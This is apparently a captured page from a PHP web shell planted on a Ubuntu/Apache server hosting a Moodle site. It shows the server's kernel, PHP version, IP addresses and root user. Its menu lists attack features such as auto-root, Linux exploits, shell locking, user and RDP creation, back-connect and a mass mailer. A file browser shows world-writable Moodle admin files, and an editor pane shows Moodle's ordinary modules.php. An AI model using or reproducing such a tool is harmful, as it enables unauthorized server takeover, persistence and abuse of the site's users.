Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxrwxrwx
mnet
[ DIR ]
drwxrwxrwx
registration
[ DIR ]
drwxrwxrwx
roles
[ DIR ]
drwxrwxrwx
settings
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
tool
[ DIR ]
drwxrwxrwx
user
[ DIR ]
drwxrwxrwx
webservice
[ DIR ]
drwxrwxrwx
auth.php
2.8
KB
-rwxrwxrwx
auth_config.php
6.79
KB
-rwxrwxrwx
block.php
2.21
KB
-rwxrwxrwx
blocks.php
10.69
KB
-rwxrwxrwx
category.php
5.82
KB
-rwxrwxrwx
courseformats.php
4.91
KB
-rwxrwxrwx
cron.php
3.05
KB
-rwxrwxrwx
editors.php
4.08
KB
-rwxrwxrwx
enrol.php
5.74
KB
-rwxrwxrwx
environment.php
4.15
KB
-rwxrwxrwx
environment.xml
32.61
KB
-rwxrwxrwx
filters.php
10.66
KB
-rwxrwxrwx
handlevirus.php
4.83
KB
-rwxrwxrwx
index.php
20.25
KB
-rwxrwxrwx
lib.php
1.31
KB
-rwxrwxrwx
licenses.php
1.53
KB
-rwxrwxrwx
localplugins.php
3.77
KB
-rwxrwxrwx
mailout-debugger.php
2.21
KB
-rwxrwxrwx
message.php
3.48
KB
-rwxrwxrwx
modules.php
7.52
KB
-rwxrwxrwx
oacleanup.php
6.7
KB
-rwxrwxrwx
oauth2callback.php
1.66
KB
-rwxrwxrwx
phpinfo.php
0
B
-rwxrwxrwx
plagiarism.php
4.28
KB
-rwxrwxrwx
plugins.php
6.43
KB
-rwxrwxrwx
portfolio.php
8.6
KB
-rwxrwxrwx
process_email.php
1.74
KB
-rwxrwxrwx
purgecaches.php
2.27
KB
-rwxrwxrwx
qbehaviours.php
10.9
KB
-rwxrwxrwx
qtypes.php
11.31
KB
-rwxrwxrwx
renderer.php
63.01
KB
-rwxrwxrwx
reports.php
4.67
KB
-rwxrwxrwx
repository.php
16.12
KB
-rwxrwxrwx
repositoryinstance.php
5.67
KB
-rwxrwxrwx
resetemoticons.php
1.65
KB
-rwxrwxrwx
search.php
1.82
KB
-rwxrwxrwx
settings.php
4.66
KB
-rwxrwxrwx
timezone.php
1.65
KB
-rwxrwxrwx
tools.php
4.68
KB
-rwxrwxrwx
upgradesettings.php
2.34
KB
-rwxrwxrwx
user.php
17.31
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : modules.php
<?php // Allows the admin to manage activity modules require_once('../config.php'); require_once('../course/lib.php'); require_once($CFG->libdir.'/adminlib.php'); require_once($CFG->libdir.'/tablelib.php'); // defines define('MODULE_TABLE','module_administration_table'); admin_externalpage_setup('managemodules'); $show = optional_param('show', '', PARAM_PLUGIN); $hide = optional_param('hide', '', PARAM_PLUGIN); $delete = optional_param('delete', '', PARAM_PLUGIN); $confirm = optional_param('confirm', '', PARAM_BOOL); /// Print headings $stractivities = get_string("activities"); $strdelete = get_string("delete"); $strversion = get_string("version"); $strhide = get_string("hide"); $strshow = get_string("show"); $strsettings = get_string("settings"); $stractivities = get_string("activities"); $stractivitymodule = get_string("activitymodule"); $strshowmodulecourse = get_string('showmodulecourse'); // Purge all caches related to activity modules administration. cache::make('core', 'plugininfo_mod')->purge(); /// If data submitted, then process and store. if (!empty($hide) and confirm_sesskey()) { if (!$module = $DB->get_record("modules", array("name"=>$hide))) { print_error('moduledoesnotexist', 'error'); } $DB->set_field("modules", "visible", "0", array("id"=>$module->id)); // Hide main module // Remember the visibility status in visibleold // and hide... $sql = "UPDATE {course_modules} SET visibleold=visible, visible=0 WHERE module=?"; $DB->execute($sql, array($module->id)); // clear the course modinfo cache for courses // where we just deleted something $sql = "UPDATE {course} SET modinfo='' WHERE id IN (SELECT DISTINCT course FROM {course_modules} WHERE visibleold=1 AND module=?)"; $DB->execute($sql, array($module->id)); admin_get_root(true, false); // settings not required - only pages } if (!empty($show) and confirm_sesskey()) { if (!$module = $DB->get_record("modules", array("name"=>$show))) { print_error('moduledoesnotexist', 'error'); } $DB->set_field("modules", "visible", "1", array("id"=>$module->id)); // Show main module $DB->set_field('course_modules', 'visible', '1', array('visibleold'=>1, 'module'=>$module->id)); // Get the previous saved visible state for the course module. // clear the course modinfo cache for courses // where we just made something visible $sql = "UPDATE {course} SET modinfo = '' WHERE id IN (SELECT DISTINCT course FROM {course_modules} WHERE visible=1 AND module=?)"; $DB->execute($sql, array($module->id)); admin_get_root(true, false); // settings not required - only pages } if (!empty($delete) and confirm_sesskey()) { echo $OUTPUT->header(); echo $OUTPUT->heading($stractivities); if (get_string_manager()->string_exists('modulename', $delete)) { $strmodulename = get_string('modulename', $delete); } else { $strmodulename = $delete; } if (!$confirm) { echo $OUTPUT->confirm(get_string("moduledeleteconfirm", "", $strmodulename), "modules.php?delete=$delete&confirm=1", "modules.php"); echo $OUTPUT->footer(); exit; } else { // Delete everything!! if ($delete == "forum") { print_error("cannotdeleteforummodule", 'forum'); } uninstall_plugin('mod', $delete); $a = new stdClass(); $a->module = $strmodulename; $a->directory = "$CFG->dirroot/mod/$delete"; echo $OUTPUT->notification(get_string("moduledeletefiles", "", $a), 'notifysuccess'); echo $OUTPUT->continue_button("modules.php"); echo $OUTPUT->footer(); exit; } } echo $OUTPUT->header(); echo $OUTPUT->heading($stractivities); /// Get and sort the existing modules if (!$modules = $DB->get_records('modules', array(), 'name ASC')) { print_error('moduledoesnotexist', 'error'); } /// Print the table of all modules // construct the flexible table ready to display $table = new flexible_table(MODULE_TABLE); $table->define_columns(array('name', 'instances', 'version', 'hideshow', 'delete', 'settings')); $table->define_headers(array($stractivitymodule, $stractivities, $strversion, "$strhide/$strshow", $strdelete, $strsettings)); $table->define_baseurl($CFG->wwwroot.'/'.$CFG->admin.'/modules.php'); $table->set_attribute('id', 'modules'); $table->set_attribute('class', 'generaltable'); $table->setup(); foreach ($modules as $module) { if (!file_exists("$CFG->dirroot/mod/$module->name/lib.php")) { $strmodulename = '<span class="notifyproblem">'.$module->name.' ('.get_string('missingfromdisk').')</span>'; $missing = true; } else { // took out hspace="\10\", because it does not validate. don't know what to replace with. $icon = "<img src=\"" . $OUTPUT->pix_url('icon', $module->name) . "\" class=\"icon\" alt=\"\" />"; $strmodulename = $icon.' '.get_string('modulename', $module->name); $missing = false; } $delete = "<a href=\"modules.php?delete=$module->name&sesskey=".sesskey()."\">$strdelete</a>"; if (file_exists("$CFG->dirroot/mod/$module->name/settings.php") || file_exists("$CFG->dirroot/mod/$module->name/settingstree.php")) { $settings = "<a href=\"settings.php?section=modsetting$module->name\">$strsettings</a>"; } else { $settings = ""; } try { $count = $DB->count_records_select($module->name, "course<>0"); } catch (dml_exception $e) { $count = -1; } if ($count>0) { $countlink = "<a href=\"{$CFG->wwwroot}/course/search.php?modulelist=$module->name" . "&sesskey=".sesskey()."\" title=\"$strshowmodulecourse\">$count</a>"; } else if ($count < 0) { $countlink = get_string('error'); } else { $countlink = "$count"; } if ($missing) { $visible = ''; $class = ''; } else if ($module->visible) { $visible = "<a href=\"modules.php?hide=$module->name&sesskey=".sesskey()."\" title=\"$strhide\">". "<img src=\"" . $OUTPUT->pix_url('t/hide') . "\" class=\"iconsmall\" alt=\"$strhide\" /></a>"; $class = ''; } else { $visible = "<a href=\"modules.php?show=$module->name&sesskey=".sesskey()."\" title=\"$strshow\">". "<img src=\"" . $OUTPUT->pix_url('t/show') . "\" class=\"iconsmall\" alt=\"$strshow\" /></a>"; $class = ' class="dimmed_text"'; } if ($module->name == "forum") { $delete = ""; $visible = ""; $class = ""; } $table->add_data(array( '<span'.$class.'>'.$strmodulename.'</span>', $countlink, '<span'.$class.'>'.$module->version.'</span>', $visible, $delete, $settings )); } $table->print_html(); echo $OUTPUT->footer();
Close